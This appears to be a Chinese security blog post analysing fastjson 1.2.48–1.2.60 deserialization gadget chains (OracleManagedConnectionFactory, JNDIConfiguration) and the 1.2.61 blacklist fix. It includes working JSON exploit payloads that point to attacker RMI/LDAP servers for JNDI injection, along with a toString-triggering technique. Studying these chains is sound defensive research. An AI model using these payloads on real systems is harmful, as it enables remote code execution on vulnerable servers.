fastjson 1.2.48-1.2.67漏洞分析

版本:1.2.48-1.2.60

1. 针对1.2.47问题的修复

首先checkAutoType方法中,从之前几个版本开始,黑白名单的校验通过hash对比来处理,有效的防止大家针对黑名单去绕过
使用{"@type": "java.lang.Class"}调试,发现在黑名单校验处抛出异常了,说明Class类已经被拉黑了

1

2. 新的利用链

1
2
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

有师傅在这两个类中找到了jndi的相关利用链,不得不记录下github上自动扫描类去寻找相关关键字的脚本
https://github.com/Lonely-night/fastjson_gadgets_scanner
https://github.com/H3rmesk1t/Fastjson-Gadgets-Automatic-Scanner

2.1 OracleManagedConnectionFactory

这个依赖用于Java程序连接Oracle数据库的驱动,即ojdbc

1
2
3
4
5
<dependency>
<groupId>com.oracle.database.jdbc</groupId>
<artifactId>ojdbc10</artifactId>
<version>19.10.0.0</version>
</dependency>

2.1.1 触发点

oracle.jdbc.connector.OracleManagedConnectionFactory#setupXADataSource,参数是xaDataSourceName

2

2.1.2 触发链getLogWriter

如图,在getLogWriter中,调用了setupXADataSource();但是getLogWriter()如何触发呢,

3

2.1.3 如何自动触发

这里想到之前BCELpoc构造,结合com.alibaba.fastjson.JSONObject去触发get方法请求

1
2
3
4
5
{   
{
"x":{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://VPS/1"}
}: ""b
}

但是此处触发和1.2.24不同
DefaultJSONParser中,当objectJSONObject类型时,不再执行toString

4

但是当我们指定 {}:"",这里会抛出异常

5

Java的"aaa" + "bbb" + new Student()

前面的字符串会使用StringBuilder.append拼接,拼接中的对象会调用toString方法

6
7
剩下的流程就和BCEL中最后`invoke` `get`方法一样了

思路:通过构造**""xxx**这种json字段,**value**的JSON解析抛出异常,触发**key.toString**


2.2 org.apache.commons.configuration.JNDIConfiguration

这个组件是Apache开源组织提供的用于操作配置文件的工具包

1
2
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

2.2.1 触发点

8

2.2.2 Poc构造

ojdbc的利用链一样,通过触发JSONException,利用JSONObject.toString()触发getXXX方法执行

1
2
3
4
{
{"x":{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://VPS"}
}:""a
}

2.3 问题

这个利用方法并没有绕过AutoTypeSupport问题,需要手动开启

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

2.4 1.2.61修复

2.4.1 进入checkAutoType之前

9
#### 2.4.2 两个利用链的类被加入了黑名单的hash中
10

2.4.3 Hash计算

去除计算代码,看下的是什么黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
String className = "org.apache.commons.configuration.JNDIConfiguration";
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int mask;
hash = h3;
for(mask = 3; mask < className.length(); ++mask) {
hash ^= (long)className.charAt(mask);
hash *= 1099511628211L;
System.out.println("====================");
System.out.println(mask);
System.out.println(className.charAt(mask));
System.out.println(className.substring(0, mask + 1));
System.out.println(hash);
}
}
1
2
3
4
5
====================
49
n
org.apache.commons.configuration.JNDIConfiguration
8925522461579647174

看来是把整个包路径+类名都加进去了